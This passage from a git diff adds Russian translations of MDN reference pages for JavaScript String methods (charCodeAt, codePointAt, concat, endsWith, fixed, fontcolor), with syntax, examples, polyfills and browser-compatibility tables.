+<p>Обратите внимание, что метод <code>charCodeAt()</code> всегда возвращает значение, меньшее 65536. Так происходит потому, что большие кодовые точки представляются парой (меньших значений) «суррогатных» псевдо-символов, которые используются для составления настоящего символа. Поэтому для того, чтобы получить полный символ для значений символов от 65536 и выше, необходимо получить не только значение <code>charCodeAt(i)</code>, но также значение <code>charCodeAt(i + 1)</code> (как если бы строка состояла из двух букв). Смотрите второй и третий примеры ниже.</p>
+
+<p>Метод <code>charCodeAt()</code> возвращает {{jsxref("Global_Objects/NaN", "NaN")}}, если указанный индекс меньше нуля или больше длины строки.</p>
+
+<p>Обратная совместимость: в более старых версиях (например, в JavaScript 1.2) метод <code>charCodeAt()</code> возвращал число из кодировки ISO-Latin-1 по указанному индексу. Диапазон символов в кодировке ISO-Latin-1 простирается от 0 до 255. Первые 127 чисел напрямую отображаются в кодировку ASCII.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_charCodeAt" name="Example:_Using_charCodeAt">Пример: использование метода <code>charCodeAt()</code></h3>
+
+<p>В следующем примере возвращается число 65, значение Unicode для латинского символа «A».</p>
+
+<pre class="brush: js">'ABC'.charCodeAt(0); // вернёт 65
+</pre>
+
+<h3 id="Example:_Fixing_charCodeAt_to_handle_non-Basic-Multilingual-Plane_characters_if_their_presence_earlier_in_the_string_is_unknown" name="Example:_Fixing_charCodeAt_to_handle_non-Basic-Multilingual-Plane_characters_if_their_presence_earlier_in_the_string_is_unknown">Пример: исправление метода <code>charCodeAt()</code> для обработки символов не в Базовой многоязыковой плоскости, если их предыдущее присутствие в строке неизвестно</h3>
+
+<p>Эта версия может использоваться в циклах for, даже когда неизвестно, были ли до указанной позиции символы из не-БМП.</p>
+
+<pre class="brush: js">function fixedCharCodeAt(str, idx) {
+  // например, fixedCharCodeAt('\uD800\uDC00', 0); // 65536
+  // например, fixedCharCodeAt('\uD800\uDC00', 1); // false
+  idx = idx || 0;
+  var code = str.charCodeAt(idx);
+  var hi, low;
+
+  // Старшая часть суррогатной пары (последнее число можно изменить на 0xDB7F,
+  // чтобы трактовать старшую часть суррогатной пары в частной плоскости как
+  // одиночный символ)
+  if (0xD800 &lt;= code &amp;&amp; code &lt;= 0xDBFF) {
+    hi = code;
+    low = str.charCodeAt(idx + 1);
+    if (isNaN(low)) {
+      throw 'Старшая часть суррогатной пары без следующей младшей в fixedCharCodeAt()';
+    }
+    return ((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000;
+  }
+  if (0xDC00 &lt;= code &amp;&amp; code &lt;= 0xDFFF) { // Младшая часть суррогатной пары
+    // Мы возвращаем false, чтобы цикл пропустил эту итерацию,
+    // поскольку суррогатная пара
+    // уже обработана в предыдущей итерации
+    return false;
+    // hi = str.charCodeAt(idx - 1);
+    // low = code;
+    // return ((hi - 0xD800) * 0x400) +
+    //   (low - 0xDC00) + 0x10000;
+  }
+  return code;
+}
+</pre>
+
+<h3 id="Example:_Fixing_charCodeAt_to_handle_non-Basic-Multilingual-Plane_characters_if_their_presence_earlier_in_the_string_is_known" name="Example:_Fixing_charCodeAt_to_handle_non-Basic-Multilingual-Plane_characters_if_their_presence_earlier_in_the_string_is_known">Пример: исправление метода <code>charCodeAt()</code> для обработки символов не в Базовой многоязыковой плоскости, если их предыдущее присутствие в строке известно</h3>
+
+<pre class="brush: js">function knownCharCodeAt(str, idx) {
+  str += '';
+  var code,
+      end = str.length;
+
+  var surrogatePairs = /[\uD800-\uDBFF][\uDC00-\uDFFF]/g;
+  while ((surrogatePairs.exec(str)) != null) {
+    var li = surrogatePairs.lastIndex;
+    if (li - 2 &lt; idx) {
+      idx++;
+    }
+    else {
+      break;
+    }
+  }
+
+  if (idx &gt;= end || idx &lt; 0) {
+    return NaN;
+  }
+
+  code = str.charCodeAt(idx);
+
+  var hi, low;
+  if (0xD800 &lt;= code &amp;&amp; code &lt;= 0xDBFF) {
+    hi = code;
+    low = str.charCodeAt(idx + 1);
+    // Перешагиваем через один, поскольку один «символ» является частью суррогатной пары
+    return ((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000;
+  }
+  return code;
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.5', 'String.prototype.charCodeAt')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.charcodeat', 'String.prototype.charCodeAt')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.fromCharCode()")}}</li>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/codepointat/index.html b/files/ru/web/javascript/reference/global_objects/string/codepointat/index.html
new file mode 100644
index 0000000000..db2b8a4e19
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/codepointat/index.html
@@ -0,0 +1,174 @@
+---
+title: String.prototype.codePointAt()
+slug: Web/JavaScript/Reference/Global_Objects/String/codePointAt
+tags:
+  - ECMAScript6
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Référence(2)
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/codePointAt
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>codePointAt()</code></strong> возвращает неотрицательное целое число, являющееся закодированным в UTF-16 значением кодовой точки.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.codePointAt(<var>pos</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>pos</code></dt>
+ <dd>Позиция элемента в строке, чья кодовоя точка возвращается функцией.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Если на указанной позиции нет элементов, будет возвращено значение {{jsxref("Global_Objects/undefined", "undefined")}}. Если суррогатная пара UTF-16 не начинается в позиции <code>pos</code>, будет возвращено кодовое значение в позиции <code>pos</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_codePointAt" name="Example:_Using_codePointAt">Пример: использование метода <code>codePointAt()</code></h3>
+
+<pre class="brush: js">'ABC'.codePointAt(1);          // 66
+'\uD800\uDC00'.codePointAt(0); // 65536
+
+'XYZ'.codePointAt(42); // undefined
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Следующий полифилл расширяет прототип строки определённой в ECMAScript 6 функцией <code>codePointAt()</code>, если браузер не имеет её родной поддержки.</p>
+
+<pre class="brush: js">/*! http://mths.be/codepointat v0.1.0 от @mathias */
+if (!String.prototype.codePointAt) {
+  (function() {
+    'use strict'; // необходимо для поддержки методов `apply`/`call` с `undefined`/`null`
+    var codePointAt = function(position) {
+      if (this == null) {
+        throw TypeError();
+      }
+      var string = String(this);
+      var size = string.length;
+      // `ToInteger`
+      var index = position ? Number(position) : 0;
+      if (index != index) { // лучше, чем `isNaN`
+        index = 0;
+      }
+      // Проверяем выход индекса за границы строки
+      if (index &lt; 0 || index &gt;= size) {
+        return undefined;
+      }
+      // Получаем первое кодовое значение
+      var first = string.charCodeAt(index);
+      var second;
+      if ( // проверяем, не начинает ли оно суррогатную пару
+        first &gt;= 0xD800 &amp;&amp; first &lt;= 0xDBFF &amp;&amp; // старшая часть суррогатной пары
+        size &gt; index + 1 // следующее кодовое значение
+      ) {
+        second = string.charCodeAt(index + 1);
+        if (second &gt;= 0xDC00 &amp;&amp; second &lt;= 0xDFFF) { // младшая часть суррогатной пары
+          // http://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
+          return (first - 0xD800) * 0x400 + second - 0xDC00 + 0x10000;
+        }
+      }
+      return first;
+    };
+    if (Object.defineProperty) {
+      Object.defineProperty(String.prototype, 'codePointAt', {
+        'value': codePointAt,
+        'configurable': true,
+        'writable': true
+      });
+    } else {
+      String.prototype.codePointAt = codePointAt;
+    }
+  }());
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.codepointat', 'String.prototype.codePointAt')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("41")}}</td>
+   <td>{{CompatGeckoDesktop("29")}}</td>
+   <td>11 на Windows 10 Preview</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("29")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+ <li>{{jsxref("String.fromCharCode()")}}</li>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/concat/index.html b/files/ru/web/javascript/reference/global_objects/string/concat/index.html
new file mode 100644
index 0000000000..b8df563087
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/concat/index.html
@@ -0,0 +1,121 @@
+---
+title: String.prototype.concat()
+slug: Web/JavaScript/Reference/Global_Objects/String/concat
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/concat
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>concat()</code></strong> объединяет текст из двух или более строк и возвращает новую строку.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>str</var>.concat(<var>string2</var>, <var>string3</var>[, ..., <var>stringN</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>string2...string<em>N</em></code></dt>
+ <dd>Строки, объединяемые в эту строку.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>concat()</code> объединяет текст из двух или более строк и возвращает новую строку. Изменения в тексте в одной строке не затрагивают остальные строки.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_concat" name="Example:_Using_concat">Пример: использование метода <code>concat()</code></h3>
+<p>В следующем примере несколько строк объединяются в одну.</p>
+<pre class="brush: js">var hello = 'Привет, ';
+console.log(hello.concat('Кевин', ', удачного дня.'));
+
+/* Привет, Кевин, удачного дня. */
+</pre>
+
+<h2 id="Performance" name="Performance">Производительность</h2>
+<p>Настоятельно рекомендуется вместо метода <code>concat()</code> использовать {{jsxref("Operators/Assignment_Operators", "операторы присваивания", "", 1)}} (<code>+</code>, <code>+=</code>). Смотрите это <a href="http://jsperf.com/concat-vs-plus-vs-join">сравнение производительности</a>.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.6', 'String.prototype.concat')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.concat', 'String.prototype.concat')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+ <li>{{jsxref("Operators/Assignment_Operators", "Операторы присваивания", "", 1)}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/endswith/index.html b/files/ru/web/javascript/reference/global_objects/string/endswith/index.html
new file mode 100644
index 0000000000..f2f6aa5c2c
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/endswith/index.html
@@ -0,0 +1,145 @@
+---
+title: String.prototype.endsWith()
+slug: Web/JavaScript/Reference/Global_Objects/String/endsWith
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/endsWith
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>endsWith()</code></strong> позволяет определить, заканчивается ли строка символами указанными в скобках, возвращая, соотвественно, <code>true</code> или <code>false</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code><var>str</var>.endsWith(<var>searchString</var>[, <var>length</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>searchString</code></dt>
+ <dd>Символы, искомые в конце строки.</dd>
+ <dt><code><var>length</var></code></dt>
+ <dd>Необязательный параметр. Позволяет искать внутри строки, обрезая её по диапазону; по умолчанию равен длине строки.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><strong><code>true</code></strong> если данные символы находятся в конце строки; в противном случае, <strong><code>false</code></strong>.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Этот метод позволяет определять, заканчивается ли строка искомыми символами. Метод чувствителен к регистру.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_endsWith" name="Example:_Using_endsWith">Пример: использование метода <code>endsWith()</code></h3>
+
+<pre class="brush: js notranslate">var str = 'Быть или не быть, вот в чём вопрос.';
+
+console.log(str.endsWith('вопрос.'));   // true
+console.log(str.endsWith('быть'));      // false
+console.log(str.endsWith('быть', 16));  // true
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Этот метод был добавлен к спецификации ECMAScript 6 и может быть доступен ещё не во всех реализациях JavaScript. Однако, вы можете легко эмулировать этот метод при помощи следующего кода:</p>
+
+<pre class="brush: js notranslate">if (!String.prototype.endsWith) {
+  Object.defineProperty(String.prototype, 'endsWith', {
+    value: function(searchString, position) {
+      var subjectString = this.toString();
+      if (position === undefined || position &gt; subjectString.length) {
+        position = subjectString.length;
+      }
+      position -= searchString.length;
+      var lastIndex = subjectString.indexOf(searchString, position);
+      return lastIndex !== -1 &amp;&amp; lastIndex === position;
+    }
+  });
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.endswith', 'String.prototype.endsWith')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("41")}}</td>
+   <td>{{CompatGeckoDesktop("17")}}</td>
+   <td>12</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatSafari("9")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome("36")}}</td>
+   <td>{{CompatGeckoMobile("17")}}</td>
+   <td>12</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.startsWith()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("String.prototype.contains()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/fixed/index.html b/files/ru/web/javascript/reference/global_objects/string/fixed/index.html
new file mode 100644
index 0000000000..8f3feae555
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/fixed/index.html
@@ -0,0 +1,108 @@
+---
+title: String.prototype.fixed()
+slug: Web/JavaScript/Reference/Global_Objects/String/fixed
+tags:
+  - Deprecated
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+  - Методы оборачивания в HTML
+translation_of: Web/JavaScript/Reference/Global_Objects/String/fixed
+---
+<div>{{JSRef("Global_Objects", "String")}} {{deprecated_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>fixed()</code></strong> создаёт HTML-элемент {{HTMLElement("tt")}}, заставляющий строку отображаться моноширинным шрифтом.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>str</var>.fixed()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>fixed()</code> заключает строку в тег <code>&lt;tt&gt;</code>: <code>"&lt;tt&gt;str&lt;/tt&gt;"</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_fixed" name="Example:_Using_fixed">Пример: использование метода <code>fixed()</code></h3>
+<p>В следующем примере для изменения форматирования строки используется метод <code>fixed()</code>:</p>
+<pre class="brush: js">var worldString = 'Привет, мир';
+
+document.write(worldString.fixed());
+</pre>
+<p>Этот пример генерирует такой же вывод, как и следующий HTML:</p>
+<pre class="brush: html">&lt;tt&gt;Привет, мир&lt;/tt&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.fixed', 'String.prototype.fixed')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.<br>
+    Определена в (нормативном) Приложении B по Дополнительным возможностям ECMAScript для веб-браузеров.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoMobile("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("String.prototype.bold()")}}</li>
+ <li>{{jsxref("String.prototype.italics()")}}</li>
+ <li>{{jsxref("String.prototype.strike()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/fontcolor/index.html b/files/ru/web/javascript/reference/global_objects/string/fontcolor/index.html
new file mode 100644
index 0000000000..549d0e2b54
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/fontcolor/index.html
@@ -0,0 +1,119 @@
+---
+title: String.prototype.fontcolor()
+slug: Web/JavaScript/Reference/Global_Objects/String/fontcolor
+tags:
+  - Deprecated
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+  - Методы оборачивания в HTML
+translation_of: Web/JavaScript/Reference/Global_Objects/String/fontcolor
+---
+<div>{{JSRef("Global_Objects", "String")}} {{deprecated_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>fontcolor()</code></strong> создаёт HTML-элемент {{HTMLElement("font")}}, заставляющий строку отображаться шрифтом указанного цвета.</p>
+<div class="note">
+ <p><strong>Примечание по использованию:</strong> элемент &lt;font&gt; был удалён из <a href="/ru/docs/Web/Guide/HTML/HTML5">HTML5</a> и больше не должен использоваться. Вместо него веб-разработчикам следует использовать свойства <a href="/ru/docs/Web/CSS">CSS</a>.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>str</var>.fontcolor(<var>color</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>color</code></dt>
+ <dd>Строка, выражающая цвет в виде шестнадцатеричного триплета RGB, либо в виде названия цвета. Названия цветов перечислены в <a href="/ru/docs/Web/CSS/color_value">справочнике по значению цвета в CSS</a>.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Ксли вы выразили цвет в виде шестнадцатеричного триплета RGB, вы должны использовать формат <code>rrggbb</code>. Например, шестнадцатеричные значения RGB для оранжево-розового цвета такие: красный=FA, зелёный=80 и синий=72, так что RGB-триплет для оранжево-розового цвета будет следующим <code>"FA8072"</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_fontcolor" name="Example:_Using_fontcolor">Пример: использование метода <code>fontcolor()</code></h3>
+<p>В следующем примере метод <code>fontcolor()</code> используется для изменения цвета строки путём генерирования строки с HTML-тегом <code>&lt;font&gt;</code>.</p>
+<pre class="brush: js">var worldString = 'Привет, мир';
+
+console.log(worldString.fontcolor('red') +  ' на этой строке красный');
+// '&lt;font color="red"&gt;Привет, мир&lt;/font&gt; на этой строке красный'
+
+console.log(worldString.fontcolor('FF00') + ' на этой строке красный в шестнадцатеричной форме');
+// '&lt;font color="FF00"&gt;Привет, мир&lt;/font&gt; на этой строке красный в шестнадцатеричной форме'
+</pre>
+<p>При помощи объекта {{domxref("HTMLElement.style", "element.style")}} вы можете получить значение атрибута <code>style</code> элемента и управлять им более обобщённым способом, например:</p>
+<pre class="brush: js">document.getElementById('yourElemId').style.color = 'red';
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.fontcolor', 'String.prototype.fontcolor')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.<br>
+    Определена в (нормативном) Приложении B по Дополнительным возможностям ECMAScript для веб-браузеров.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
